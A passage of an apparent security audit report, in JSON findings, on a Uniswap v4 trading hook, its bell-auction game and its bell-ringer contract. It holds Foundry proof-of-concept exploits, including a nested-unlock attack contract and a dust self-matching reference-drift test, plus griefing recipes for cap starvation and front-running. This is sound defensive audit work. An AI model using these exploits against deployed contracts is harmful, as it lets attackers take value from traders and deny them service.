pool; (2) every heavy-side order's remainder is treated as 'what neither the book nor the pool filled' and pays the 0.5% unfilled-order fee at claim (lines 423-428) instead of being filled; (3) the attacker, still inside its own unlock and with bells[2*day].rung now true, can swap at the pre-residual price before anyone else, taking the price move the residual would have made. The attack costs only gas, needs no capital or privilege, and can be run on every open and close bell. The same swallowing hides an out-of-gas residual: a ringer that sends just BELL_GAS_FLOOR against a pool with many initialised ticks can exhaust the swap and reach the same state. Fix: before the try, read the manager's lock (manager.exttload(Lock.IS_UNLOCKED_SLOT)) and revert the ring if it is already unlocked; and distinguish a revert of unlock itself from a revert inside the swap (e.g. do the swap in its own try inside unlockCallback and return a flag) so only genuine pool-side failures are tolerated.","line":607,"path":"src/MarketHoursHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\nimport {MockERC20} from \"solmate/src/test/utils/mocks/MockERC20.sol\";\nimport {MarketHoursHook} from \"src/MarketHoursHook.sol\";\nimport {MarketHoursCoin} from \"src/MarketHoursCoin.sol\";\n\n/// An attacker that rings the bell from inside its own PoolManager unlock. The hook's residual swap then calls\n/// `manager.unlock` while the manager is already unlocked, which reverts with AlreadyUnlocked; `_ring` swallows it.\ncontract NestedRinger is IUnlockCallback {\n    IPoolManager immutable manager;\n    MarketHoursHook immutable hook;\n\n    constructor(IPoolManager m, MarketHoursHook h) {\n        manager = m;\n        hook = h;\n    }\n\n    function attack() external {\n        manager.unlock(\"\");\n    }\n\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        hook.ringOpen();\n        return \"\";\n    }\n}\n\ncontract NestedUnlockRingTest is Test {\n    uint256 constant OPEN = 43200;\n    uint256 constant CLOSE = 57600;\n\n    IPoolManager manager;\n    address imd;\n    MarketHoursCoin coin;\n    MarketHoursHook hook;\n    PoolKey key;\n    PoolModifyLiquidityTest lp;\n    address trader = makeAddr(\"trader\");\n    uint256 D;\n\n    // ── the harness: the test plays the factory ──\n    function claimFees(uint64) external pure returns (uint256, uint256) {\n        return (0, 0);\n    }\n\n    function feeRecipient() external view returns (address) {\n        return address(this);\n    }\n\n    function _create2At(bytes32 salt, bytes32 initHash) internal view returns (address) {\n        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, initHash)))));\n    }\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        // IMD sorts high, the coin low, so the pool is (coin, IMD) and bucket b is pool tick b\n        bytes32 hi = keccak256(abi.encodePacked(type(MockERC20).creationCode, abi.encode(\"IMD\", \"IMD\", uint8(18))));\n        uint256 i;\n        while (_create2At(bytes32(i), hi) < address(uint160(0xD0) << 152)) ++i;\n        imd = address(new MockERC20{salt: bytes32(i)}(\"IMD\", \"IMD\", 18));\n        bytes32 hc = keccak256(abi.encodePacked(type(MarketHoursCoin).creationCode, abi.encode(\"Coin\", \"COIN\")));\n        i = 0;\n        while (_create2At(bytes32(i), hc) > imd) ++i;\n        coin = new MarketHoursCoin{salt: bytes32(i)}(\"Coin\", \"COIN\");\n\n        MarketHoursHook.Params memory p;\n        p.manager = manager;\n        p.factory = address(this);\n        p.imd = imd;\n        p.coin = address(coin);\n        p.feeWallet = makeAddr(\"feeWallet\");\n        p.burnExecutor = makeAddr(\"burnExecutor\");\n        p.launchFees = address(this);\n        p.intake = makeAddr(\"intake\");\n        p.maxBlockMoveBps = 500;\n        p.maxSwapImd = 10_000e18;\n        p.networkBps = 2000;\n        p.feeWalletBps = 2000;\n        p.swarmFeeBps = 1000;\n        p.burnBps = 4000;\n        p.bellPurseBps = 1000;\n        p.launchNumber = 1;\n        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));\n        bytes32 ih = keccak256(init);\n        i = 0;\n        while (uint160(_create2At(bytes32(i), ih)) & 0x3FFF != 0x2080) ++i;\n        address at;\n        bytes32 salt = bytes32(i);\n        assembly (\"memory-safe\") {\n            at := create2(0, add(init, 0x20), mload(init), salt)\n        }\n        require(at != address(0), \"hook create2 failed\");\n        hook = MarketHoursHook(at);\n\n        key = PoolKey(Currency.wrap(address(coin)), Currency.wrap(imd), 12_500, 60, IHooks(at));\n        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));\n        lp = new PoolModifyLiquidityTest(manager);\n        coin.approve(address(lp), type(uint256).max);\n        MockERC20(imd).mint(address(this), 1e30);\n        MockERC20(imd).approve(address(lp), type(uint256).max);\n        // a coin-only seed above spot, as the factory places it: the opening residual buys from it\n        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(0, 12_000, int256(uint256(1e23)), 0), \"\");\n\n        coin.transfer(trader, 1_000_000e18);\n        MockERC20(imd).mint(trader, 1_000_000e18);\n        vm.startPrank(trader);\n        coin.approve(at, type(uint256).max);\n        MockERC20(imd).approve(at, type(uint256).max);\n        vm.stopPrank();\n        D = block.timestamp / 1 days + 1;\n    }\n\n    /// A buy-heavy opening book: one sell of 1 coin at bucket 0 and a 900 IMD buy at bucket 300. The book matches\n    /// 1 coin and leaves about 888 IMD of residual, which the ring sends through the pool at up to price(300).\n    function _book() internal {\n        vm.warp(D * 1 days + 1 hours);\n        vm.startPrank(trader);\n        hook.placeOrder(2 * D, false, 0, 1e18);\n        hook.placeOrder(2 * D, true, 300, 900e18);\n        vm.stopPrank();\n        vm.warp(D * 1 days + OPEN);\n    }\n\n    function test_ringFromInsideForeignUnlockDropsTheResidual() public {\n        _book();\n        // control: a plain ring fills the residual through the pool\n        uint256 snap = vm.snapshotState();\n        hook.ringOpen();\n        (, bool rung0, bool heavy0,,, uint64 rf0) = hook.bells(2 * D);\n        assertTrue(rung0 && heavy0, \"precondition: the open rang buy-heavy\");\n        assertGt(rf0, 0, \"precondition: a plain ring fills the residual\");\n        vm.revertToState(snap);\n\n        // the same book, rung from inside an unrelated unlock\n        NestedRinger a = new NestedRinger(manager, hook);\n        try a.attack() {\n            (, bool rung,,,, uint64 rf) = hook.bells(2 * D);\n            assertTrue(rung, \"the bell rang\");\n            // on the code as it stands this fails: the bell is rung with residualFill == 0, the residual never\n            // reached the pool, and every heavy-side order's unfilled part now pays the unfilled-order fee\n            assertGt(rf, 0, \"a bell rung from inside a foreign unlock cleared without its residual\");\n        } catch {\n            // fixed: the hook refuses to ring while the PoolManager is already unlocked\n        }\n    }\n}","reproduction":"State: day D, buy-heavy opening book (sell 1 coin at bucket 0, buy 900 IMD at bucket 300; pool seeded coin-only over ticks [0, 12000) with L = 1e23, spot tick 0). At 12:00 UTC a plain ringOpen() yields bells[2D].residualFill > 0 (control run in the proof). Instead an attacker contract calls manager.unlock(\"\") and in its unlockCallback calls hook.ringOpen(). Expected: the residual fills, or the ring is refused. Actual: the call succeeds, bells[2D].rung == true, bells[2D].residualFill == 0, charges[2D].residualUp == 0; the 900 IMD buyer's claim refunds its ~888 IMD remainder minus a ~4.4 IMD unfilled-order fee instead of receiving ~862 coin. Reproduced: test/scratch/NestedUnlockRing.t.sol fails on the current code with 'a bell rung from inside a foreign unlock cleared without its residual: 0 <= 0'.","severity":"high","snippet":"            try manager.unlock(abi.encode(buyHeavy, resIn, true, r.p)) returns (bytes memory ret) {","title":"A bell rung from inside a foreign PoolManager unlock silently drops the residual pool fill and charges the heavy side the unfilled-order fee"},{"citation":"resolved","description":"The next book's reference (referenceOf -> lastCleared or the previous bell's pStar) is whatever the last bell cleared at, and _scan picks the bucket with the largest matched volume with no minimum size and no anchor to the pool's price. One actor placing the two smallest permitted orders (a 0.5 IMD buy and a MIN_ORDER-worth sell) at the same bucket at the band's top edge matches with himself there; when the book is otherwise empty or thin that is the largest match, so P* and lastCleared move 200 buckets (x3.32 in price) per bell for about 0.012 IMD of bell and unfilled fees each. After the open and close bells of one day the reference is 400 buckets (x11) from the pool price and the pool's actual price is outside the next book's +/-200-bucket band: every honest placeOrder at or near the market price reverts BadBucket, so the order books are unusable for as long as the attacker spends about 0.025 IMD a day. Honest buys that are placed inside the drifted band are charged at P* while the residual buys from the pool at the real price, the difference going to burnAccrued (line 616), so they lose most of their value. The sell side's MIN_ORDER and depositCap are valued at the drifted reference, and indicativePrice used by the game and swarm is meaningless. Only the zero-match path (lines 558-566) anchors to the session mean, and any match beats it. Recovery is only 200 buckets per un-manipulated bell and nobody owns the hook. Fix: anchor the reference (or clamp P*) to the pool's price or the session mean rather than lastCleared alone, or require a matched volume above a meaningful floor before a bell may move lastCleared, falling back to the zero-match reference otherwise.","line":600,"path":"src/MarketHoursHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, console2} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {PoolId, PoolIdLibrary} from \"v4-core/src/types/PoolId.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {MockERC20} from \"solmate/src/test/utils/mocks/MockERC20.sol\";\nimport {MarketHoursHook} from \"src/MarketHoursHook.sol\";\nimport {MarketHoursCoin} from \"src/MarketHoursCoin.sol\";\n\n/// The book's reference is whatever the last bell cleared at, and a bell clears at the bucket with the most matched\n/// volume, however small. One actor who places the two smallest orders at the top edge of the band matches with\n/// himself there, so the bell clears 200 buckets (x3.32) above the pool's price for about 0.02 IMD of fees. Two such\n/// bells (open and close of one day) put the pool's actual price outside the next book's band: no honest order can be\n/// placed at or near the market price any more (BadBucket), while the pool itself has not moved a tick.\ncontract ReferenceDriftTest is Test {\n    using StateLibrary for IPoolManager;\n    using PoolIdLibrary for PoolKey;\n\n    uint160 internal constant FLAGS = 0x2080; // BEFORE_INITIALIZE | BEFORE_SWAP\n    uint256 internal constant OPEN = 43200;\n    uint256 internal constant CLOSE = 57600;\n\n    IPoolManager internal manager;\n    MockERC20 internal imd;\n    MarketHoursCoin internal coin;\n    MarketHoursHook internal hook;\n    PoolKey internal key;\n    address internal attacker = makeAddr(\"attacker\");\n    address internal honest = makeAddr(\"honest\");\n    uint256 internal D;\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        imd = new MockERC20(\"IMD\", \"IMD\", 18);\n        coin = new MarketHoursCoin(\"Coin\", \"COIN\");\n        MarketHoursHook.Params memory p;\n        p.manager = manager;\n        p.factory = address(this);\n        p.imd = address(imd);\n        p.coin = address(coin);\n        p.feeWallet = makeAddr(\"feeWallet\");\n        p.burnExecutor = makeAddr(\"burnExecutor\");\n        p.launchFees = makeAddr(\"launchFees\");\n        p.intake = makeAddr(\"intake\");\n        p.maxBlockMoveBps = 500;\n        p.maxSwapImd = 10_000e18;\n        p.networkBps = 2000;\n        p.feeWalletBps = 2000;\n        p.swarmFeeBps = 1000;\n        p.burnBps = 4000;\n        p.bellPurseBps = 1000;\n        p.launchNumber = 1;\n        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));\n        bytes32 h = keccak256(init);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (uint160(a) & 0x3FFF == FLAGS) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        address at;\n        assembly (\"memory-safe\") {\n            at := create2(0, add(init, 0x20), mload(init), salt)\n        }\n        require(at != address(0), \"hook CREATE2 failed\");\n        hook = MarketHoursHook(at);\n        (address c0, address c1) =\n            address(imd) < address(coin) ? (address(imd), address(coin)) : (address(coin), address(imd));\n        key = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 12_500, 60, IHooks(at));\n        // the factory (this contract) initialises the pool at tick 0: 1 IMD per coin, so bucket 0 is the market price\n        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));\n        imd.mint(attacker, 100e18);\n        coin.transfer(attacker, 100e18);\n        imd.mint(honest, 1_000e18);\n        vm.startPrank(attacker);\n        imd.approve(at, type(uint256).max);\n        coin.approve(at, type(uint256).max);\n        vm.stopPrank();\n        vm.prank(honest);\n        imd.approve(at, type(uint256).max);\n        D = block.timestamp / 1 days + 1;\n    }\n\n    function test_twoSmallestSelfMatchedOrdersLockTheMarketPriceOutOfTheBook() public {\n        int24 ref0 = hook.lastCleared();\n        assertEq(ref0, 0, \"the reference starts at the pool's launch price\");\n        int256 imd0 = int256(imd.balanceOf(attacker));\n        int256 coin0 = int256(coin.balanceOf(attacker));\n\n        // day D, 01:00: the open book. Two smallest orders, both at the band's top edge, ref + 200 buckets.\n        vm.warp(D * 1 days + 1 hours);\n        vm.startPrank(attacker);\n        uint256 b1 = hook.placeOrder(2 * D, true, ref0 + 12_000, 0.5e18);\n        uint256 s1 = hook.placeOrder(2 * D, false, ref0 + 12_000, 0.5e18);\n        vm.stopPrank();\n        vm.warp(D * 1 days + OPEN);\n        hook.ringOpen();\n        (int24 pOpen,,,,,) = hook.bells(2 * D);\n        assertEq(pOpen, ref0 + 12_000, \"the open cleared at the attacker's bucket, 200 buckets above the market\");\n        assertEq(hook.lastCleared(), ref0 + 12_000);\n\n        // the close book: again at the new band's top edge (the sell is valued at the new reference, so 0.2 coin is enough)\n        vm.startPrank(attacker);\n        uint256 b2 = hook.placeOrder(2 * D + 1, true, ref0 + 24_000, 0.5e18);\n        uint256 s2 = hook.placeOrder(2 * D + 1, false, ref0 + 24_000, 0.2e18);\n        vm.stopPrank();\n        vm.warp(D * 1 days + CLOSE);\n        hook.ringClose();\n        assertEq(hook.lastCleared(), ref0 + 24_000, \"two bells: the reference is 400 buckets (x11) above the pool\");\n\n        // the attacker takes everything back; the whole exercise cost him the fees on two 0.5 IMD matches\n        hook.claim(b1);\n        hook.claim(s1);\n        hook.claim(b2);\n        hook.claim(s2);\n        int256 lostImd = imd0 - int256(imd.balanceOf(attacker));\n        int256 lostCoin = coin0 - int256(coin.balanceOf(attacker));\n        console2.log(\"attacker IMD lost (wei)\", lostImd);\n        console2.log(\"attacker coin lost (wei)\", lostCoin);\n        assertLt(lostImd + lostCoin, 0.1e18, \"the drift cost less than 0.1 IMD at the pool's price of 1 IMD per coin\");\n\n        // the pool never traded: its price is still bucket 0\n        (, int24 tick,,) = manager.getSlot0(key.toId());\n        assertEq(tick, 0, \"the pool's price did not move\");\n\n        // day D+1, 01:00: the open book's band is [ref0 + 12000, ref0 + 36000]; a buy at the pool's price is refused.\n        // Expected: an order at the market price is always placeable; actual: BadBucket.\n        vm.warp((D + 1) * 1 days + 1 hours);\n        vm.prank(honest);\n        hook.placeOrder(2 * (D + 1), true, ref0, 100e18);\n    }\n}","reproduction":"Pool initialised at tick 0 (1 IMD per coin), book empty. Day D 01:00: attacker placeOrder(2D, buy, bucket 12000, 0.5e18) and placeOrder(2D, sell, bucket 12000, 0.5e18). 12:00 ringOpen(): bells[2D].pStar = 12000, lastCleared = 12000 (the sell-heavy residual's swap reverts on its price limit and is swallowed). Then placeOrder(2D+1, buy, 24000, 0.5e18) and placeOrder(2D+1, sell, 24000, 0.2e18); 16:00 ringClose(): lastCleared = 24000. Attacker claims all four orders: total loss 24,691,358,024,691,375 wei IMD (0.0247 IMD), 0 coin. Pool tick is still 0. Day D+1 01:00: honest placeOrder(2(D+1), buy, bucket 0, 100e18). Expected: an order at the pool's price can be placed. Actual: revert BadBucket (band is [12000, 36000]). Reproduced: test/scratch/ReferenceDrift.t.sol fails with BadBucket() on the current code.","severity":"medium","snippet":"        lastCleared = r.p;","title":"Two dust self-matched orders walk the book reference 200 buckets per bell off the pool price and lock honest orders out with BadBucket"},{"citation":"resolved","description":"bookImdTotal[s] is a single capacity shared by every order of a book (1,000 IMD in launch week, doubling weekly to 100,000 IMD), checked only on entry and released only by cancel or the bell. One wallet can consume the whole cap with a buy at the lowest bucket of the band (ref - 12000), which the scan never reaches, so every later placeOrder for that book reverts BookFull for the whole entry window. Because the bucket is not reached, the occupier's only cost is the unfilled-order fee of CANCEL_FEE_BPS = 50 bps at claim (lines 429-432), or the same 0.5% cancel fee; cancelling at 10:49 and re-placing keeps the book blocked through the no-cancel hour. Cost in week one: 5 IMD per bell (10 IMD a day) to deny all order flow; the bell still rings (a zero-match bell at the reference), the game's tickets for that day are limited to the occupier, and nothing can adjust the cap after deployment. Reported by three specialists; merged. Fix options that keep the cap: a per-owner share of the cap, an unfilled/cancel fee that rises with the order's distance from the reference, or counting far-bucket orders only partially against the cap.","line":309,"path":"src/MarketHoursHook.sol","reproduction":"Day D-1 after the close settles, or day D at 01:00 (launch week, depositCap() == 1000e18, ref = referenceOf(2D) = 0): attacker calls placeOrder(2D, true, -12000, 1000e18) -> succeeds, bookImdTotal[2D] == 1000e18. Any other user then calls placeOrder(2D, true, 0, 1e18) or placeOrder(2D, false, 0, 1e18). Expected: other users can still join the book. Actual: revert BookFull(). At 12:00 ringOpen() clears a zero-match bell at bucket 0; the attacker's claim takes the unreached branch: unfilledFee = divUp(1000e18 * 50, 10000) = 5e18 and 995e18 is refunded. Repeatable every bell. Verified by code trace of placeOrder (lines 303-310) and _outcome (lines 429-432); two specialists also reported a passing Foundry run of the same sequence. Reproduced: test/scratch/JudgeChecks.t.sol test_capStarve passes on the current code (both honest orders revert BookFull; the occupier's claim refunds exactly 995e18).","severity":"medium","snippet":"        if (total > depositCap()) revert BookFull();","title":"Shared per-book deposit cap can be filled by one never-matched order for 0.5% of the cap, blocking every other order with BookFull"},{"citation":"resolved","description":"settle(day) requires block.timestamp >= openedAt + SETTLE_WINDOW (1800 s from the bell's own time), reveal() requires the day to be settled and block.timestamp % 1 days < CLOSE_BELL (line 147), and the hook accepts ringOpen() at any time in [12:00, 16:00) (MarketHoursHook.sol line 453). Whenever the opening bell rings at or after 15:30, the earliest settle is at or after 16:00, so no reveal can ever succeed for that day. The day is then settled with isVoid == false, _final() becomes true, finalRanks() reports a final day with empty slots, tally reverts NoPoints for everyone, and every ticket committed for that day (ticketUsed already set in commit) is consumed with no chance to reveal. The ringer's own close chore settle(d) at 16:00 is also skipped with TooEarly. Nobody needs to act maliciously and a griefer cannot force it, since anyone may ring at 12:00; a slow day is enough. Points only, no tokens. Reported by four specialists; merged. Fix: in settle(), when rung, treat openedAt + SETTLE_WINDOW >= day * 1 days + CLOSE_BELL as void, or let reveals run until a fixed period after settle rather than a fixed clock time.","line":131,"path":"src/BellGame.sol","reproduction":"Day D-1: a player commits a ticket for day D. Day D: nobody calls ringOpen() until 15:31:00 (tod 55860); it succeeds (tod < 57600): window.openedAt = D*86400 + 55860. settle(D) at 15:59:59 reverts TooEarly (t < openedAt + 1800 = 16:01:00). settle(D) at 16:01:00 succeeds with isVoid == false. reveal(orderId, guess, salt) at any later time reverts RevealClosed (tod >= 57600). Expected: the day is void (tickets not consumed) or a reveal is possible. Actual: dayState(D) is settled and not void, finalRanks(D).isFinal == true with empty slots, and every ticket committed for day D is spent. Verified by code trace of settle (lines 116-138), reveal (lines 143-147) and ringOpen (MarketHoursHook.sol lines 450-455). Reproduced: test/scratch/JudgeChecks.t.sol test_lateOpenBellNoRevealWindow passes on the current code (settle at 15:59:59 reverts TooEarly, settle at 16:01 succeeds not void, reveal reverts RevealClosed, finalRanks isFinal with count 0, ticketUsed true).","severity":"low","snippet":"        if (t < openedAt + SETTLE_WINDOW) revert TooEarly();","title":"An opening bell rung after 15:30 UTC leaves no reveal window: settle cannot run before 16:00 and reveal closes at 16:00, so every sealed guess for that day is forfeited while the day still goes final"},{"citation":"resolved","description":"placeOrder admits a buy when its gross escrow amount is at least MIN_ORDER (0.5 IMD), and the docs say such an order earns one guess ticket. ticketPaid compares filledImd, which for a buy is bookIn + resIn (at most _net(amount) = amount * 10000 / 10125), against the same MIN_ORDER. A buy of 0.5e18 that fills entirely has filledImd <= 493,827,160,493,827,160 < 0.5e18 and unfilledFee = 0, so BellGame.reveal refuses its commit with TicketUnpaid although it paid the full 1.25% bell fee; any buy below 0.50625e18 that fills whole is in the same position. A sell of the same IMD value that fills whole is counted (filledImd = _coinToImd(a, sp) >= MIN_ORDER). The asymmetry decides who may reveal in the points game. Fix: compare a buy's filledImd against _net(MIN_ORDER), or count a fully filled order as paid regardless of size.","line":498,"path":"src/MarketHoursHook.sol","reproduction":"Pool at tick 0, book 2D: placeOrder(2D, buy, bucket 0, 0.5e18) and placeOrder(2D, sell, bucket 0, 5e18); 12:00 ringOpen (sell-heavy, P* = 0; the buy is on the light side and fills whole). _outcome for the buy: net = 0.5e18 * 10000 / 10125 = 493,827,160,493,827,160; bookIn = net, resIn = 0, filledImd = 493,827,160,493,827,160, unfilledFee = 0. ticketPaid(buyId) returns false, so BellGame.reveal for that order's commit reverts TicketUnpaid. Expected: a smallest order that filled whole and paid the bell fee has paid for its ticket. Actual: false for every buy below 0.50625e18. Verified by code trace of _net (line 724), _outcome (lines 392-416) and ticketPaid (line 498). Reproduced: test/scratch/JudgeChecks.t.sol test_smallestBuyTicketUnpaid passes on the current code (ticketPaid false for the 0.5e18 buy that filled whole; true for a 0.5e18-worth sell that filled whole).","severity":"low","snippet":"        return unfilledFee > 0 || filledImd >= MIN_ORDER;","title":"The smallest buy order that fills completely never pays for its guess ticket, while a sell of the same size does"},{"citation":"resolved","description":"harvest splits unaccounted IMD as sw = hi * SWARM_BPS (1,000) / 10,000 plus bp = hi * bellPurseBps / 10,000 and burns the remainder. The constructor (line 261) only checks that the five fee shares sum to 10,000, so bellPurseBps may be anything up to 10,000; with bellPurseBps > 9,000, sw + bp exceeds hi and this line reverts with an arithmetic underflow on every harvest with any inflow of at least 10 wei. harvest is the only path that folds the factory's requester push and stray transfers into the accruals, and the ringer's chore 2 is skipped every day, so those IMD are stranded in the hook with no owner able to change the figure. The deploy script uses 1,000, so this is a missing admission check rather than a live bug. Fix: require SWARM_BPS + p.bellPurseBps <= 10_000 in the constructor.","line":809,"path":"src/MarketHoursHook.sol","reproduction":"Deploy with networkBps = 500, feeWalletBps = 0, swarmFeeBps = 0, burnBps = 0, bellPurseBps = 9_500 (sums to 10,000, accepted by line 261). Transfer 100e18 IMD to the hook; call harvest(): hi = 100e18, sw = 10e18, bp = 95e18, hi - sw - bp underflows -> revert (panic 0x11). Expected: a configuration the constructor accepts can harvest. Actual: harvest is permanently unusable and the inflow stays unaccounted. Verified by code trace of the constructor check (line 261) and harvest (lines 800-815). Reproduced: test/scratch/JudgeChecks.t.sol test_harvestUnderflow passes on the current code (hook deployed with bellPurseBps 9500 and networkBps 500 accepted; harvest() after a 100e18 transfer reverts).","severity":"low","snippet":"        burnAccrued += hi - sw - bp;","title":"Constructor accepts bellPurseBps above 9,000, which makes harvest() underflow forever and strands every unaccounted IMD inflow"},{"citation":"resolved","description":"beforeInitialize sets lastCleared from the pool's starting price, but placeOrder only checks _enterable(s), never `initialized`. Before the factory's initialize call referenceOf(s) is lastCleared == 0, so the band is [-12000, 12000] around bucket 0 and sells are valued at _sqrtAt(0) (1 IMD per coin). Once beforeInitialize runs, lastCleared becomes the pool's nearest bucket and every later read of the same book uses the new reference: cancelOrder subtracts _coinToImd(a, _sqrtAt(newRef)) from bookImdTotal, which underflows and reverts when that order is the book's only sell (or removes a wrong amount when other orders exist, corrupting the cap accounting), and the order's bucket may lie outside the band the scan covers, so it pays the unfilled-order fee. The hook does not enforce that deployment and pool initialisation happen in one transaction. Funds are not lost (claim after the bell or deadline still pays the escrow) but the cancel path reverts and bookImdTotal[s] is wrong. Fix: revert placeOrder (and cancelOrder) while !initialized.","line":303,"path":"src/MarketHoursHook.sol","reproduction":"State: hook deployed, pool not yet initialised (initialized == false, lastCleared == 0), block time 02:00 UTC of day d (book 2d enterable: closeSettled(d-1) is true by the deadline). User U calls placeOrder(2d, false, 0, 1e18): passes BadBucket, imdValue = _coinToImd(1e18, sqrtAt(0)) = 1e18, bookImdTotal[2d] = 1e18. Factory then initialises the pool at tick 6000 (1.822 IMD per coin): lastCleared = 6000. U calls cancelOrder(id) at 03:00: bookImdTotal[2d] -= _coinToImd(1e18, _sqrtAt(6000)) = 1.822e18 -> arithmetic underflow revert. Expected: an order is refused before initialisation or cancellable with the total it was added with. Actual: cancel reverts. Verified by code trace of placeOrder (lines 303-310), cancelOrder (line 330) and beforeInitialize (lines 896-905); the math specialist also reported a passing Foundry run of this sequence.","severity":"low","snippet":"        if (!_enterable(s)) revert NotEnterable();","title":"placeOrder and cancelOrder do not require the pool to be initialised: an order placed before beforeInitialize is valued at reference 0 and its cancel underflows after initialisation"},{"citation":"resolved","description":"When the swap's sender does not answer msgSender() with tx.origin, the identity for the round-trip rule is the router itself (lines 967-975). All users of such a router (any aggregator, smart wallet or custom router without that selector, and v4's own PoolSwapTest) then share one direction per block. A griefer who swaps 1 wei in direction A through that router first in a block makes every other user's direction-B swap through it revert RoundTrip for the block, for the gas of a dust swap; repeated every block it halves the usable market for those users for the session. The comment calls the guard a speed bump, so this is a documented trade-off, but the griefing input is concrete and nearly free.","line":973,"path":"src/MarketHoursHook.sol","reproduction":"Session open, router R without msgSender(). Block N: griefer swaps 1 wei zeroForOne through R: beforeSwap -> _roundTrip(R, true) sets lastSwap[R] = (N << 1) | 1. Same block: honest user swaps oneForZero through R: _roundTrip(R, false): last >> 1 == N and last & 1 (1) != dir (0) -> revert RoundTrip. Expected: unrelated users are not coupled. Actual: one direction per block per router for all of them. Verified by code trace of _roundTrip (lines 967-975).","severity":"low","snippet":"        if (last >> 1 == block.number && last & 1 != dir) revert RoundTrip();","title":"Round-trip guard keyed on the router lets anyone block one swap direction per block for every user of a router without msgSender()"},{"citation":"resolved","description":"_reward prices the ring's gas in IMD from the slot0 of one hard-coded pool (native ETH / IMD, fee 10000, spacing 200, no hook) read by extsload. If that pool is not initialised on the chain the hook is deployed to, if the key differs, or if the read fails, sp is 0 and the function returns the cap. A ringer can also move a thin pool's spot in the same transaction so that r >= cap. In all those states the reward is decoupled from gas: each ring pays RING_REWARD_CAP = 3 IMD and each bridged push 0.5 IMD, so the purse pays ringers up to 6 IMD a day instead of about 1.5x the gas. The comments document the cap as the bound on a bad price, so this is a trust assumption on the ETH/IMD pool to be checked at admission (the pool must exist and be deep), not a code defect; a fallback of paying nothing or a small fixed amount on a zero read would remove it.","line":234,"path":"src/BellRinger.sol","reproduction":"Deploy the hook against a PoolManager that has no ETH/IMD pool (the repo's offline environment), top the ringer up with 10 IMD, warp to 12:00 and call ring() with basefee 1 gwei. Expected: a reward near 1.5 x gasUsed x 1.01 gwei in IMD. Actual: sp == 0, so _reward returns cap and the caller receives exactly 3e18 IMD. Verified by code trace of _reward (lines 221-237); the economics specialist reported a passing Foundry run (test_ringerPaysCapWhenPriceReadIsZero).","severity":"info","snippet":"        if (sp == 0 || sp >> 128 != 0 || costWei >> 95 != 0) return cap;","title":"BellRinger pays the full 3 IMD cap whenever the ETH/IMD price read is zero, absent or out of range, so an uninitialised or thin ETH/IMD pool drains the purse at the cap rate"},{"citation":"resolved","description":"ringOpen/ringClose on the hook are permissionless and pay nothing; BellRinger.ring() calls them first and reverts as a whole when the bell is already rung (BellRinger.sol lines 150 and 157). A griefer who sees a pending ring() can ring the hook directly in the same block for about 30k gas: the honest ringer's transaction reverts, no reward is paid, and the chores claimFees, harvest, claimSwarmBudget, claimBellPurse, claimNetworkFees (open) or settle and requestNight (close) are not run until someone calls them by hand. The griefer gains nothing, so this degrades the liveness of the fee claims and the swarm's nightly request rather than losing funds. A fix that keeps the design: have ring() still run the chores (and pay a reduced reward) when the bell was already rung this block, or make the hook's ring entry points callable only through the ringer.","line":578,"path":"src/MarketHoursHook.sol","reproduction":"At 12:00 on day D with the open bell due: tx1 (griefer) hook.ringOpen(); tx2 (honest ringer) BellRinger.ring(). Expected: tx2 rings the bell, runs the five chores and is paid. Actual: hook.ringOpen() inside tx2 reverts BellAlreadyRung, the whole ring() reverts, Rewarded is never emitted and no chore runs. Verified by code trace of _ring (line 578) and BellRinger.ring (lines 138-163).","severity":"info","snippet":"        if (bl.rung) revert BellAlreadyRung();","title":"Anyone can front-run BellRinger.ring() with a direct hook.ringOpen()/ringClose(), making the ringer's transaction revert and skipping every chore for that bell"},{"citation":"resolved","description":"The exemption from the unfilled-order fee covers only the marginal bucket's pro-rata remainder. But _fills can also ration the strictly-inside orders: when the heavier side's matched value `need` is below innerAmt, innerFill = need * 1e18 / innerAmt < 1e18 and the marginal bucket fills nothing. This is reachable because buckets are 60 ticks (0.6%) apart: with buy-heavy clearing at p the scan only guarantees D(p+60) <= S(p), so B(p+60) can be up to about 1.006 x need and innerFill as low as about 0.994e18. Inner orders then keep about 0.6% unfilled through no choice of theirs, and because `rationed` is false for them that remainder pays the 0.5% unfilled-order fee (about 3e-5 of the order) if the pool does not fill it, while an identically rationed marginal order would not. Impact is dust and non-compounding: a consistency gap, not a loss. Fix if wanted: treat !marg && bl.innerFill < ONE as rationed too.","line":399,"path":"src/MarketHoursHook.sol","reproduction":"Book s, reference 0, buy-heavy. Buyer X: 